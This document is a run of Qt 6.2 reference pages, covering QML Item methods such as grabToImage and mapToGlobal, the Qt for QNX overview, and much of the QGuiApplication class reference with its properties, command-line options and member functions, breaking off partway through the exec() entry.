 This method sets focus on the item and ensures that all ancestor [FocusScope](qml-qtquick-focusscope) objects in the object hierarchy are also given [focus](qml-qtquick-item#focus-prop).

 The reason for the focus change will be [Qt::OtherFocusReason](qt#FocusReason-enum). Use the overloaded method to specify the focus reason to enable better handling of the focus change.

 **See also** [activeFocus](qml-qtquick-item#activeFocus-prop).

 ###  [bool](qml-bool) grabToImage(*callback*, *targetSize*)

 Grabs the item into an in-memory image.

 The grab happens asynchronously and the JavaScript function *callback* is invoked when the grab is completed. The callback takes one argument, which is the result of the grab operation; an [ItemGrabResult](qml-qtquick-itemgrabresult) object.

 Use *targetSize* to specify the size of the target image. By default, the result will have the same size as the item.

 If the grab could not be initiated, the function returns `false`.

 The following snippet shows how to grab an item and store the results to a file.

 
```
Rectangle {
    id: source
    width: 100
    height: 100
    gradient: Gradient {
        GradientStop { position: 0; color: "steelblue" }
        GradientStop { position: 1; color: "black" }
    }
}
    // ...
    source.grabToImage(function(result) {
                           result.saveToFile("something.png");
                       });
```
 The following snippet shows how to grab an item and use the results in another image element.

 
```
Image {
    id: image
}
    // ...
    source.grabToImage(function(result) {
                           image.source = result.url;
                       },
                       Qt.size(50, 50));
```
  **Note:** This function will render the item to an offscreen surface and copy that surface from the GPU's memory into the CPU's memory, which can be quite costly. For "live" preview, use [layers](qml-qtquick-item#layer.enabled-prop) or [ShaderEffectSource](qml-qtquick-shadereffectsource).

  ###  `[since 5.7]` [point](qml-point) mapFromGlobal([real](qml-real) *x*, [real](qml-real) *y*)

 Maps the point (*x*, *y*), which is in the global coordinate system, to the item's coordinate system, and returns a [point](qml-point) matching the mapped coordinate.

 The following properties of the item are used in the mapping: [x](qml-qtquick-item#x-prop), [y](qml-qtquick-item#y-prop), [scale](qml-qtquick-item#scale-prop), [rotation](qml-qtquick-item#rotation-prop), [transformOrigin](qml-qtquick-item#transformOrigin-prop), and [transform](qml-qtquick-item#transform-prop).

 This method was introduced in Qt 5.7.

 ###  `[since 5.7]` [point](qml-point) mapToGlobal([real](qml-real) *x*, [real](qml-real) *y*)

 Maps the point (*x*, *y*), which is in this item's coordinate system, to the global coordinate system, and returns a [point](qml-point) matching the mapped coordinate.

 The following properties of the item are used in the mapping: [x](qml-qtquick-item#x-prop), [y](qml-qtquick-item#y-prop), [scale](qml-qtquick-item#scale-prop), [rotation](qml-qtquick-item#rotation-prop), [transformOrigin](qml-qtquick-item#transformOrigin-prop), and [transform](qml-qtquick-item#transform-prop).

 This method was introduced in Qt 5.7.

 ###  `[since 5.1]` nextItemInFocusChain([bool](qml-bool) *forward*)

 Returns the item in the focus chain which is next to this item. If *forward* is `true`, or not supplied, it is the next item in the forwards direction. If *forward* is `false`, it is the next item in the backwards direction.

 This method was introduced in Qt 5.1.



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qml-qtquick-item.html>

Qt for QNX
==========

 From the perspective of an application development platform, Qt runs on top of [QNX Neutrino RTOS](http://www.qnx.com/products/neutrino-rtos/neutrino-rtos.html). A system integrator or application developer will use a QNX SDP (Software Development Platform) which includes QNX Neutrino RTOS components for various targets and a full set of development tools.

 Qt for QNX is part of the [Qt for Device Creation](https://doc.qt.io/QtForDeviceCreation) offering.

  **Note:** At this time Qt Creator and Qt for QNX integration is experimental.

  Further information is available in the following sections: 




|  |  |
| --- | --- |
| [Building Qt for QNX](https://doc.qt.io/qt-6.2/building-qt-for-qnx.html) | Describes required packages and necessary configuration for building. |
| [Qt for QNX Runtime Target Requirements](qnx-target-requirements) | Describes target requirements for running qt applications. |
| [Qt for QNX Support](qnx-support) | Details support on Qt modules, QNX releases and target architectures. |



 © The Qt Company Ltd  
Licensed under the GNU Free Documentation License, Version 1.3.  

<https://doc.qt.io/qt-6.2/qnx.html>

QGuiApplication Class
=====================

 The QGuiApplication class manages the GUI application's control flow and main settings. [More...](#details)

 

|  |  |
| --- | --- |
|  Header: | #include <QGuiApplication> |
|  CMake: |  find\_package(Qt6 COMPONENTS Gui REQUIRED) target\_link\_libraries(mytarget PRIVATE Qt6::Gui) |
|  qmake: |  QT += gui |
|  Since: |  Qt 5.0 |
|  Inherits: | [QCoreApplication](qcoreapplication) |
|  Inherited By: | [QApplication](qapplication) |

 * [List of all members, including inherited members](https://doc.qt.io/qt-6.2/qguiapplication-members.html)
* [Deprecated members](https://doc.qt.io/qt-6.2/qguiapplication-obsolete.html)

 Properties
----------

 

|  |  |
| --- | --- |
| * **[applicationDisplayName](qguiapplication#applicationDisplayName-prop)** : QString
* **[desktopFileName](qguiapplication#desktopFileName-prop)** : QString
* **[layoutDirection](qguiapplication#layoutDirection-prop)** : Qt::LayoutDirection
* **[platformName](qguiapplication#platformName-prop)** : const QString
 | * **[primaryScreen](qguiapplication#primaryScreen-prop)** : QScreen\* const
* **[quitOnLastWindowClosed](qguiapplication#quitOnLastWindowClosed-prop)** : bool
* **[windowIcon](qguiapplication#windowIcon-prop)** : QIcon
 |

 Public Functions
----------------

 

|  |  |
| --- | --- |
|  | **[QGuiApplication](qguiapplication#QGuiApplication)**(int &*argc*, char \*\**argv*) |
|  virtual  | **[~QGuiApplication](qguiapplication#dtor.QGuiApplication)**() |
|  qreal  | **[devicePixelRatio](qguiapplication#devicePixelRatio)**() const |
|  bool  | **[isSavingSession](qguiapplication#isSavingSession)**() const |
|  bool  | **[isSessionRestored](qguiapplication#isSessionRestored)**() const |
|  QNativeInterface \* | **[nativeInterface](qguiapplication#nativeInterface)**() const |
|  QString  | **[sessionId](qguiapplication#sessionId)**() const |
|  QString  | **[sessionKey](qguiapplication#sessionKey)**() const |

 Reimplemented Public Functions
------------------------------

 

|  |  |
| --- | --- |
|  virtual bool  | **[notify](qguiapplication#notify)**(QObject \**object*, QEvent \**event*) override |

 Signals
-------

 

|  |  |
| --- | --- |
|  void  | **[applicationDisplayNameChanged](qguiapplication#applicationDisplayName-prop)**() |
|  void  | **[applicationStateChanged](qguiapplication#applicationStateChanged)**(Qt::ApplicationState *state*) |
|  void  | **[commitDataRequest](qguiapplication#commitDataRequest)**(QSessionManager &*manager*) |
|  void  | **[focusObjectChanged](qguiapplication#focusObjectChanged)**(QObject \**focusObject*) |
|  void  | **[focusWindowChanged](qguiapplication#focusWindowChanged)**(QWindow \**focusWindow*) |
|  void  | **[fontDatabaseChanged](qguiapplication#fontDatabaseChanged)**() |
|  void  | **[lastWindowClosed](qguiapplication#lastWindowClosed)**() |
|  void  | **[layoutDirectionChanged](qguiapplication#layoutDirection-prop)**(Qt::LayoutDirection *direction*) |
|  void  | **[primaryScreenChanged](qguiapplication#primaryScreen-prop)**(QScreen \**screen*) |
|  void  | **[saveStateRequest](qguiapplication#saveStateRequest)**(QSessionManager &*manager*) |
|  void  | **[screenAdded](qguiapplication#screenAdded)**(QScreen \**screen*) |
|  void  | **[screenRemoved](qguiapplication#screenRemoved)**(QScreen \**screen*) |

 Static Public Members
---------------------

 

|  |  |
| --- | --- |
|  QWindowList  | **[allWindows](qguiapplication#allWindows)**() |
|  QString  | **[applicationDisplayName](qguiapplication#applicationDisplayName-prop)**() |
|  Qt::ApplicationState  | **[applicationState](qguiapplication#applicationState)**() |
|  void  | **[changeOverrideCursor](qguiapplication#changeOverrideCursor)**(const QCursor &*cursor*) |
|  QClipboard \* | **[clipboard](qguiapplication#clipboard)**() |
|  QString  | **[desktopFileName](qguiapplication#desktopFileName-prop)**() |
|  bool  | **[desktopSettingsAware](qguiapplication#desktopSettingsAware)**() |
|  int  | **[exec](qguiapplication#exec)**() |
|  QObject \* | **[focusObject](qguiapplication#focusObject)**() |
|  QWindow \* | **[focusWindow](qguiapplication#focusWindow)**() |
|  QFont  | **[font](qguiapplication#font)**() |
|  Qt::HighDpiScaleFactorRoundingPolicy  | **[highDpiScaleFactorRoundingPolicy](qguiapplication#highDpiScaleFactorRoundingPolicy)**() |
|  QInputMethod \* | **[inputMethod](qguiapplication#inputMethod)**() |
|  bool  | **[isLeftToRight](qguiapplication#isLeftToRight)**() |
|  bool  | **[isRightToLeft](qguiapplication#isRightToLeft)**() |
|  Qt::KeyboardModifiers  | **[keyboardModifiers](qguiapplication#keyboardModifiers)**() |
|  Qt::LayoutDirection  | **[layoutDirection](qguiapplication#layoutDirection-prop)**() |
|  QWindow \* | **[modalWindow](qguiapplication#modalWindow)**() |
|  Qt::MouseButtons  | **[mouseButtons](qguiapplication#mouseButtons)**() |
|  QCursor \* | **[overrideCursor](qguiapplication#overrideCursor)**() |
|  QPalette  | **[palette](qguiapplication#palette)**() |
|  QString  | **[platformName](qguiapplication#platformName-prop)**() |
|  QScreen \* | **[primaryScreen](qguiapplication#primaryScreen-prop)**() |
|  Qt::KeyboardModifiers  | **[queryKeyboardModifiers](qguiapplication#queryKeyboardModifiers)**() |
|  bool  | **[quitOnLastWindowClosed](qguiapplication#quitOnLastWindowClosed-prop)**() |
|  void  | **[restoreOverrideCursor](qguiapplication#restoreOverrideCursor)**() |
|  QScreen \* | **[screenAt](qguiapplication#screenAt)**(const QPoint &*point*) |
|  QList<QScreen \*>  | **[screens](qguiapplication#screens)**() |
|  void  | **[setApplicationDisplayName](qguiapplication#applicationDisplayName-prop)**(const QString &*name*) |
|  void  | **[setDesktopFileName](qguiapplication#desktopFileName-prop)**(const QString &*name*) |
|  void  | **[setDesktopSettingsAware](qguiapplication#setDesktopSettingsAware)**(bool *on*) |
|  void  | **[setFont](qguiapplication#setFont)**(const QFont &*font*) |
|  void  | **[setHighDpiScaleFactorRoundingPolicy](qguiapplication#setHighDpiScaleFactorRoundingPolicy)**(Qt::HighDpiScaleFactorRoundingPolicy *policy*) |
|  void  | **[setLayoutDirection](qguiapplication#layoutDirection-prop)**(Qt::LayoutDirection *direction*) |
|  void  | **[setOverrideCursor](qguiapplication#setOverrideCursor)**(const QCursor &*cursor*) |
|  void  | **[setPalette](qguiapplication#setPalette)**(const QPalette &*pal*) |
|  void  | **[setQuitOnLastWindowClosed](qguiapplication#quitOnLastWindowClosed-prop)**(bool *quit*) |
|  void  | **[setWindowIcon](qguiapplication#windowIcon-prop)**(const QIcon &*icon*) |
|  QStyleHints \* | **[styleHints](qguiapplication#styleHints)**() |
|  void  | **[sync](qguiapplication#sync)**() |
|  QWindow \* | **[topLevelAt](qguiapplication#topLevelAt)**(const QPoint &*pos*) |
|  QWindowList  | **[topLevelWindows](qguiapplication#topLevelWindows)**() |
|  QIcon  | **[windowIcon](qguiapplication#windowIcon-prop)**() |

 Reimplemented Protected Functions
---------------------------------

 

|  |  |
| --- | --- |
|  virtual bool  | **[event](qguiapplication#event)**(QEvent \**e*) override |

 Macros
------

 

|  |  |
| --- | --- |
|  | **[qGuiApp](qguiapplication#qGuiApp)** |

 Detailed Description
--------------------

 QGuiApplication contains the main event loop, where all events from the window system and other sources are processed and dispatched. It also handles the application's initialization and finalization, and provides session management. In addition, QGuiApplication handles most of the system-wide and application-wide settings.

 For any GUI application using Qt, there is precisely **one** QGuiApplication object no matter whether the application has 0, 1, 2 or more windows at any given time. For non-GUI Qt applications, use [QCoreApplication](qcoreapplication) instead, as it does not depend on the Qt GUI module. For [QWidget](qwidget) based Qt applications, use [QApplication](qapplication) instead, as it provides some functionality needed for creating [QWidget](qwidget) instances.

 The QGuiApplication object is accessible through the [instance](qcoreapplication#instance)() function, which returns a pointer equivalent to the global [qApp](qapplication#qApp) pointer.

 QGuiApplication's main areas of responsibility are:

 * It initializes the application with the user's desktop settings, such as [palette](qguiapplication#palette)(), [font](qguiapplication#font)() and [styleHints](qguiapplication#styleHints)(). It keeps track of these properties in case the user changes the desktop globally, for example, through some kind of control panel.
* It performs event handling, meaning that it receives events from the underlying window system and dispatches them to the relevant widgets. You can send your own events to windows by using [sendEvent](qcoreapplication#sendEvent)() and [postEvent](qcoreapplication#postEvent)().
* It parses common command line arguments and sets its internal state accordingly. See the [constructor documentation](qguiapplication#QGuiApplication) below for more details.
* It provides localization of strings that are visible to the user via [translate](qcoreapplication#translate)().
* It provides some magical objects like the [clipboard](qguiapplication#clipboard)().
* It knows about the application's windows. You can ask which window is at a certain position using [topLevelAt](qguiapplication#topLevelAt)(), get a list of [topLevelWindows](qguiapplication#topLevelWindows)(), etc.
* It manages the application's mouse cursor handling, see [setOverrideCursor](qguiapplication#setOverrideCursor)()
* It provides support for sophisticated [session management](ipc#session-management). This makes it possible for applications to terminate gracefully when the user logs out, to cancel a shutdown process if termination isn't possible and even to preserve the entire application's state for a future session. See [isSessionRestored](qguiapplication#isSessionRestored)(), [sessionId](qguiapplication#sessionId)() and [commitDataRequest](qguiapplication#commitDataRequest)() and [saveStateRequest](qguiapplication#saveStateRequest)() for details.

 Since the QGuiApplication object does so much initialization, it *must* be created before any other objects related to the user interface are created. QGuiApplication also deals with common command line arguments. Hence, it is usually a good idea to create it *before* any interpretation or modification of `argv` is done in the application itself.

 

| Groups of functions |
| --- |
| System settings | [desktopSettingsAware](qguiapplication#desktopSettingsAware)(), [setDesktopSettingsAware](qguiapplication#setDesktopSettingsAware)(), [styleHints](qguiapplication#styleHints)(), [palette](qguiapplication#palette)(), [setPalette](qguiapplication#setPalette)(), [font](qguiapplication#font)(), [setFont](qguiapplication#setFont)(). |
| Event handling | [exec](qguiapplication#exec)(), [processEvents](qcoreapplication#processEvents)(), [exit](qcoreapplication#exit)(), [quit](qcoreapplication#quit)(). [sendEvent](qcoreapplication#sendEvent)(), [postEvent](qcoreapplication#postEvent)(), [sendPostedEvents](qcoreapplication#sendPostedEvents)(), [removePostedEvents](qcoreapplication#removePostedEvents)(), [notify](qguiapplication#notify)(). |
| Windows | [allWindows](qguiapplication#allWindows)(), [topLevelWindows](qguiapplication#topLevelWindows)(), [focusWindow](qguiapplication#focusWindow)(), [clipboard](qguiapplication#clipboard)(), [topLevelAt](qguiapplication#topLevelAt)(). |
| Advanced cursor handling | [overrideCursor](qguiapplication#overrideCursor)(), [setOverrideCursor](qguiapplication#setOverrideCursor)(), [restoreOverrideCursor](qguiapplication#restoreOverrideCursor)(). |
| Session management | [isSessionRestored](qguiapplication#isSessionRestored)(), [sessionId](qguiapplication#sessionId)(), [commitDataRequest](qguiapplication#commitDataRequest)(), [saveStateRequest](qguiapplication#saveStateRequest)(). |
| Miscellaneous | [startingUp](qcoreapplication#startingUp)(), [closingDown](qcoreapplication#closingDown)(). |

 **See also** [QCoreApplication](qcoreapplication), [QAbstractEventDispatcher](qabstracteventdispatcher), and [QEventLoop](qeventloop).

  Property Documentation
----------------------

 ### 
`[since 5.0]` applicationDisplayName : [QString](qstring)

 This property holds the user-visible name of this application

 This name is shown to the user, for instance in window titles. It can be translated, if necessary.

 If not set, the application display name defaults to the application name.

 This property was introduced in Qt 5.0.

 **Access functions:**

 

|  |  |
| --- | --- |
|  QString  | **applicationDisplayName**() |
|  void  | **setApplicationDisplayName**(const QString &*name*) |

 **Notifier signal:**

 

|  |  |
| --- | --- |
|  void  | **applicationDisplayNameChanged**() |

 **See also** [applicationName](qcoreapplication#applicationName-prop).

 ### 
`[since 5.7]` desktopFileName : [QString](qstring)

 This property holds the base name of the desktop entry for this application

 This is the file name, without the full path, of the desktop entry that represents this application according to the freedesktop desktop entry specification.

 This property gives a precise indication of what desktop entry represents the application and it is needed by the windowing system to retrieve such information without resorting to imprecise heuristics.

 The latest version of the freedesktop desktop entry specification can be obtained [here](http://standards.freedesktop.org/desktop-entry-spec/latest/).

 This property was introduced in Qt 5.7.

 **Access functions:**

 

|  |  |
| --- | --- |
|  QString  | **desktopFileName**() |
|  void  | **setDesktopFileName**(const QString &*name*) |

 ### 
layoutDirection : [Qt::LayoutDirection](qt#LayoutDirection-enum)

 This property holds the default layout direction for this application

 On system start-up, the default layout direction depends on the application's language.

 The notifier signal was introduced in Qt 5.4.

 **Access functions:**

 

|  |  |
| --- | --- |
|  Qt::LayoutDirection  | **layoutDirection**() |
|  void  | **setLayoutDirection**(Qt::LayoutDirection *direction*) |

 **Notifier signal:**

 

|  |  |
| --- | --- |
|  void  | **layoutDirectionChanged**(Qt::LayoutDirection *direction*) |

 **See also** [QWidget::layoutDirection](qwidget#layoutDirection-prop), [isLeftToRight](qguiapplication#isLeftToRight)(), and [isRightToLeft](qguiapplication#isRightToLeft)().

 ### 
`[read-only]` platformName : const [QString](qstring)

 This property holds the name of the underlying platform plugin.

 The QPA platform plugins are located in `qtbase\src\plugins\platforms`. At the time of writing, the following platform plugin names are supported:

 * `android`
* `cocoa` is a platform plugin for macOS.
* `directfb`
* `eglfs` is a platform plugin for running Qt5 applications on top of EGL and OpenGL ES 2.0 without an actual windowing system (like X11 or Wayland). For more information, see [EGLFS](embedded-linux#eglfs).
* `ios` (also used for tvOS)
* `linuxfb` writes directly to the framebuffer. For more information, see [LinuxFB](embedded-linux#linuxfb).
* `minimal` is provided as an examples for developers who want to write their own platform plugins. However, you can use the plugin to run GUI applications in environments without a GUI, such as servers.
* `minimalegl` is an example plugin.
* `offscreen`
* `qnx`
* `windows`
* `wayland` is a platform plugin for modern Linux desktops and some embedded systems.
* `xcb` is the X11 plugin used on regular desktop Linux platforms.

 For more information about the platform plugins for embedded Linux devices, see [Qt for Embedded Linux](embedded-linux).

 **Access functions:**

 

|  |  |
| --- | --- |
|  QString  | **platformName**() |

 ### 
`[read-only]` primaryScreen : [QScreen](qscreen)\* const

 This property holds the primary (or default) screen of the application.

 This will be the screen where QWindows are initially shown, unless otherwise specified.

 The primaryScreenChanged signal was introduced in Qt 5.6.

 **Access functions:**

 

|  |  |
| --- | --- |
|  QScreen \* | **primaryScreen**() |

 **Notifier signal:**

 

|  |  |
| --- | --- |
|  void  | **primaryScreenChanged**(QScreen \**screen*) |

 **See also** [screens](qguiapplication#screens)().

 ### 
quitOnLastWindowClosed : bool

 This property holds whether the application implicitly quits when the last window is closed.

 The default is `true`.

 If this property is `true`, the applications quits when the last visible primary window (i.e. window with no parent) is closed.

 **Access functions:**

 

|  |  |
| --- | --- |
|  bool  | **quitOnLastWindowClosed**() |
|  void  | **setQuitOnLastWindowClosed**(bool *quit*) |

 **See also** [quit](qcoreapplication#quit)() and [QWindow::close](qwindow#close)().

 ### 
windowIcon : [QIcon](qicon)

 This property holds the default window icon

 **Access functions:**

 

|  |  |
| --- | --- |
|  QIcon  | **windowIcon**() |
|  void  | **setWindowIcon**(const QIcon &*icon*) |

 **See also** [QWindow::setIcon](qwindow#setIcon)() and [Setting the Application Icon](https://doc.qt.io/qt-6.2/appicon.html).

  Member Function Documentation
-----------------------------

 ### QGuiApplication::QGuiApplication(int &*argc*, char \*\**argv*)

 Initializes the window system and constructs an application object with *argc* command line arguments in *argv*.

  **Warning:** The data referred to by *argc* and *argv* must stay valid for the entire lifetime of the QGuiApplication object. In addition, *argc* must be greater than zero and *argv* must contain at least one valid character string.

  The global `qApp` pointer refers to this application object. Only one application object should be created.

 This application object must be constructed before any [paint devices](qpaintdevice) (including pixmaps, bitmaps etc.).

  **Note:** *argc* and *argv* might be changed as Qt removes command line arguments that it recognizes.

  #### Supported Command Line Options

 All Qt programs automatically support a set of command-line options that allow modifying the way Qt will interact with the windowing system. Some of the options are also accessible via environment variables, which are the preferred form if the application can launch GUI sub-processes or other applications (environment variables will be inherited by child processes). When in doubt, use the environment variables.

 The options currently supported are the following:

 * `-platform` *[platformName](qguiapplication#platformName-prop)[:options]*, specifies the [Qt Platform Abstraction](qpa) (QPA) plugin.Overrides the `QT_QPA_PLATFORM` environment variable.
* `-platformpluginpath` *path*, specifies the path to platform plugins.Overrides the `QT_QPA_PLATFORM_PLUGIN_PATH` environment variable.
* `-platformtheme` *platformTheme*, specifies the platform theme.Overrides the `QT_QPA_PLATFORMTHEME` environment variable.
* `-plugin` *plugin*, specifies additional plugins to load. The argument may appear multiple times.Concatenated with the plugins in the `QT_QPA_GENERIC_PLUGINS` environment variable.
* `-qmljsdebugger=`, activates the QML/JS debugger with a specified port. The value must be of format `port:1234`*[,block]*, where *block* is optional and will make the application wait until a debugger connects to it.
* `-qwindowgeometry` *geometry*, specifies window geometry for the main window using the X11-syntax. For example: `-qwindowgeometry 100x100+50+50`
* `-qwindowicon`, sets the default window icon
* `-qwindowtitle`, sets the title of the first window
* `-reverse`, sets the application's layout direction to [Qt::RightToLeft](qt#LayoutDirection-enum). This option is intended to aid debugging and should not be used in production. The default value is automatically detected from the user's locale (see also [QLocale::textDirection](qlocale#textDirection)()).
* `-session` *session*, restores the application from an earlier [session](ipc#session-management).

 The following standard command line options are available for X11:

 * `-display` *hostname:screen\_number*, switches displays on X11.Overrides the `DISPLAY` environment variable.
* `-geometry` *geometry*, same as `-qwindowgeometry`.

 #### Platform-Specific Arguments

 You can specify platform-specific arguments for the `-platform` option. Place them after the platform plugin name following a colon as a comma-separated list. For example, `-platform windows:dialogs=xp,fontengine=freetype`.

 The following parameters are available for `-platform windows`:

 * `altgr`, detect the key `AltGr` found on some keyboards as [Qt::GroupSwitchModifier](qt#KeyboardModifier-enum) (since Qt 5.12).
* `darkmode=[1|2]` controls how Qt responds to the activation of the *Dark Mode for applications* introduced in Windows 10 1903 (since Qt 5.15).A value of 1 causes Qt to switch the window borders to black when *Dark Mode for applications* is activated and no High Contrast Theme is in use. This is intended for applications that implement their own theming.

 A value of 2 will in addition cause the Windows Vista style to be deactivated and switch to the Windows style using a simplified palette in dark mode. This is currently experimental pending the introduction of new style that properly adapts to dark mode.
* `dialogs=[xp|none]`, `xp` uses XP-style native dialogs and `none` disables them.
* `fontengine=freetype`, uses the FreeType font engine.
* `fontengine=directwrite`, uses the experimental DirectWrite font database and defaults to using the DirectWrite font engine (which is otherwise only used for some font types or font properties.) This affects font selection and aims to provide font naming more consistent with other platforms, but does not support all font formats, such as Postscript Type-1 or Microsoft FNT fonts.
* `menus=[native|none]`, controls the use of native menus.Native menus are implemented using Win32 API and are simpler than [QMenu](qmenu)-based menus in for example that they do allow for placing widgets on them or changing properties like fonts and do not provide hover signals. They are mainly intended for Qt Quick. By default, they will be used if the application is not an instance of [QApplication](qapplication) or for Qt Quick Controls 2 applications (since Qt 5.10).
* `nocolorfonts` Turn off DirectWrite Color fonts (since Qt 5.8).
* `nodirectwrite` Turn off DirectWrite fonts (since Qt 5.8).
* `nomousefromtouch` Ignores mouse events synthesized from touch events by the operating system.
* `nowmpointer` Switches from Pointer Input Messages handling to legacy mouse handling (since Qt 5.12).
* `reverse` Activates Right-to-left mode (experimental). Windows title bars will be shown accordingly in Right-to-left locales (since Qt 5.13).
* `tabletabsoluterange=<value>` Sets a value for mouse mode detection of WinTab tablets (Legacy, since Qt 5.3).

 The following parameter is available for `-platform cocoa` (on macOS):

 * `fontengine=freetype`, uses the FreeType font engine.

 For more information about the platform-specific arguments available for embedded Linux platforms, see [Qt for Embedded Linux](embedded-linux).

 **See also** [arguments](qcoreapplication#arguments)() and [QGuiApplication::platformName](qguiapplication#platformName-prop).

 ### 
`[signal, since 5.2]` void QGuiApplication::applicationStateChanged([Qt::ApplicationState](qt#ApplicationState-enum) *state*)

 This signal is emitted when the *state* of the application changes.

 This function was introduced in Qt 5.2.

 **See also** [applicationState](qguiapplication#applicationState)().

 ### 
`[signal]` void QGuiApplication::commitDataRequest([QSessionManager](qsessionmanager) &*manager*)

 This signal deals with [session management](ipc#session-management). It is emitted when the [QSessionManager](qsessionmanager) wants the application to commit all its data.

 Usually this means saving all open files, after getting permission from the user. Furthermore you may want to provide a means by which the user can cancel the shutdown.

 You should not exit the application within this signal. Instead, the session manager may or may not do this afterwards, depending on the context.

  **Warning:** Within this signal, no user interaction is possible, *unless* you ask the *manager* for explicit permission. See [QSessionManager::allowsInteraction](qsessionmanager#allowsInteraction)() and [QSessionManager::allowsErrorInteraction](qsessionmanager#allowsErrorInteraction)() for details and example usage.

   **Note:** You should use [Qt::DirectConnection](qt#ConnectionType-enum) when connecting to this signal.

  **See also** [isSessionRestored](qguiapplication#isSessionRestored)(), [sessionId](qguiapplication#sessionId)(), [saveStateRequest](qguiapplication#saveStateRequest)(), and [Session Management](ipc#session-management).

 ### 
`[signal]` void QGuiApplication::focusObjectChanged([QObject](qobject#QObject) \**focusObject*)

 This signal is emitted when final receiver of events tied to focus is changed. *focusObject* is the new receiver.

 **See also** [focusObject](qguiapplication#focusObject)().

 ### 
`[signal]` void QGuiApplication::focusWindowChanged([QWindow](qwindow) \**focusWindow*)

 This signal is emitted when the focused window changes. *focusWindow* is the new focused window.

 **See also** [focusWindow](qguiapplication#focusWindow)().

 ### 
`[signal]` void QGuiApplication::fontDatabaseChanged()

 This signal is emitted when application fonts are loaded or removed.

 **See also** [QFontDatabase::addApplicationFont](qfontdatabase#addApplicationFont)(), [QFontDatabase::addApplicationFontFromData](qfontdatabase#addApplicationFontFromData)(), [QFontDatabase::removeAllApplicationFonts](qfontdatabase#removeAllApplicationFonts)(), and [QFontDatabase::removeApplicationFont](qfontdatabase#removeApplicationFont)().

 ### 
`[signal]` void QGuiApplication::lastWindowClosed()

 This signal is emitted from [exec](qguiapplication#exec)() when the last visible primary window (i.e. window with no parent) is closed.

 By default, [QGuiApplication](qguiapplication) quits after this signal is emitted. This feature can be turned off by setting [quitOnLastWindowClosed](qguiapplication#quitOnLastWindowClosed-prop) to `false`.

 **See also** [QWindow::close](qwindow#close)() and [QWindow::isTopLevel](qwindow#isTopLevel)().

 ### 
`[signal]` void QGuiApplication::saveStateRequest([QSessionManager](qsessionmanager) &*manager*)

 This signal deals with [session management](ipc#session-management). It is invoked when the [session manager](qsessionmanager) wants the application to preserve its state for a future session.

 For example, a text editor would create a temporary file that includes the current contents of its edit buffers, the location of the cursor and other aspects of the current editing session.

 You should never exit the application within this signal. Instead, the session manager may or may not do this afterwards, depending on the context. Furthermore, most session managers will very likely request a saved state immediately after the application has been started. This permits the session manager to learn about the application's restart policy.

  **Warning:** Within this signal, no user interaction is possible, *unless* you ask the *manager* for explicit permission. See [QSessionManager::allowsInteraction](qsessionmanager#allowsInteraction)() and [QSessionManager::allowsErrorInteraction](qsessionmanager#allowsErrorInteraction)() for details.

   **Note:** You should use [Qt::DirectConnection](qt#ConnectionType-enum) when connecting to this signal.

  **See also** [isSessionRestored](qguiapplication#isSessionRestored)(), [sessionId](qguiapplication#sessionId)(), [commitDataRequest](qguiapplication#commitDataRequest)(), and [Session Management](ipc#session-management).

 ### 
`[signal]` void QGuiApplication::screenAdded([QScreen](qscreen) \**screen*)

 This signal is emitted whenever a new screen *screen* has been added to the system.

 **See also** [screens](qguiapplication#screens)(), [primaryScreen](qguiapplication#primaryScreen-prop), and [screenRemoved](qguiapplication#screenRemoved)().

 ### 
`[signal, since 5.4]` void QGuiApplication::screenRemoved([QScreen](qscreen) \**screen*)

 This signal is emitted whenever a *screen* is removed from the system. It provides an opportunity to manage the windows on the screen before Qt falls back to moving them to the primary screen.

 This function was introduced in Qt 5.4.

 **See also** [screens](qguiapplication#screens)(), [screenAdded](qguiapplication#screenAdded)(), [QObject::destroyed](qobject#destroyed)(), and [QWindow::setScreen](qwindow#setScreen)().

 ### 
`[virtual]` QGuiApplication::~QGuiApplication()

 Destructs the application.

 ### 
`[static]` QWindowList QGuiApplication::allWindows()

 Returns a list of all the windows in the application.

 The list is empty if there are no windows.

 **See also** [topLevelWindows](qguiapplication#topLevelWindows)().

 ### 
`[static, since 5.2]` [Qt::ApplicationState](qt#ApplicationState-enum) QGuiApplication::applicationState()

 Returns the current state of the application.

 You can react to application state changes to perform actions such as stopping/resuming CPU-intensive tasks, freeing/loading resources or saving/restoring application data.

 This function was introduced in Qt 5.2.

 ### 
`[static]` void QGuiApplication::changeOverrideCursor(const [QCursor](qcursor) &*cursor*)

 Changes the currently active application override cursor to *cursor*.

 This function has no effect if [setOverrideCursor](qguiapplication#setOverrideCursor)() was not called.

 **See also** [setOverrideCursor](qguiapplication#setOverrideCursor)(), [overrideCursor](qguiapplication#overrideCursor)(), [restoreOverrideCursor](qguiapplication#restoreOverrideCursor)(), and [QWidget::setCursor](qwidget#cursor-prop)().

 ### 
`[static]` [QClipboard](qclipboard) \*QGuiApplication::clipboard()

 Returns the object for interacting with the clipboard.

 ### 
`[static]` bool QGuiApplication::desktopSettingsAware()

 Returns `true` if Qt is set to use the system's standard colors, fonts, etc.; otherwise returns `false`. The default is `true`.

 **See also** [setDesktopSettingsAware](qguiapplication#setDesktopSettingsAware)().

 ### 
[qreal](qtglobal#qreal-typedef) QGuiApplication::devicePixelRatio() const

 Returns the highest screen device pixel ratio found on the system. This is the ratio between physical pixels and device-independent pixels.

 Use this function only when you don't know which window you are targeting. If you do know the target window, use [QWindow::devicePixelRatio](qwindow#devicePixelRatio)() instead.

 **See also** [QWindow::devicePixelRatio](qwindow#devicePixelRatio)().

 ### 
`[override virtual protected]` bool QGuiApplication::event([QEvent](qevent) \**e*)

 Reimplements: [QCoreApplication::event](qcoreapplication#event)(QEvent \*e).

 ### 
`[static]` int QGuiApplication::exec()

 Enters the main event loop and waits until [exit](qcoreapplication#exit)() is called, and then returns the value that was set to [exit](qcoreapplication#exit)() (which is 0 if [exit](qcoreapplication#exit)() is called via [quit](qcoreapplication#quit)()).

 It is necessary to call this function to start event handling. The main event loop receives events from the window system and dispatches these to the application widgets.

 Generally, no user interaction can take place before calling exec().

 To make your application perform idle processing, e.g., executing a special function whenever there are no pending events, use a [QTimer](qtimer) with 0 timeout. More advanced idle processing schemes can be achieved using [processEvents](qcoreapplication#processEvents)().

 We recommend that you connect clean-up code to the [aboutToQuit](qcoreapplication#aboutToQuit)() signal, instead of putting it in your application's `main()` function. This is because, on some platforms, the [QApplication::exec](qapplication#exec)() call may not return.

